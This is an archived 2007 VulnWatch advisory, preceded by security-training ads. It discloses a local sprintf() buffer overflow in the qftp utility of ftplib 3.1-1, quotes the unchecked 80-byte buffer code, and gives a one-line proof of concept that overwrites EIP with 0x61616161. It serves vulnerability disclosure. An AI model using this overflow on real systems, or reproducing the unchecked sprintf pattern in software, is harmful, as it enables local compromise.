Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security VulnWatch
[Top] [All Lists]

[VulnWatch] QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer ov

Subject: [VulnWatch] QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow
Date: Thu, 15 Mar 2007 19:28:21 +0100
http://nbpfaus.net/~pfau/ftplib/

qftp is a utility that performs file transfers using ftplib based on
instructions presented on the command line.

Description

buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.

Source error

in main(): 337: case 'm' : set_umask(optarg); break; .. void set_umask(char *m) { char buf[80]; sprintf(buf,"umask %s", m); ftp_connect(); FtpSite(buf, conn); }

POC

$ gcc ftplib.c getopt.c qftp.c -o ftpsend $ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"` Segmentation fault

# eip addr: $1 = (void *) 0x61616161

--
~ starcadi

<Prev in Thread] Current Thread [Next in Thread>
  • [VulnWatch] QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow, starcadi starcadi <=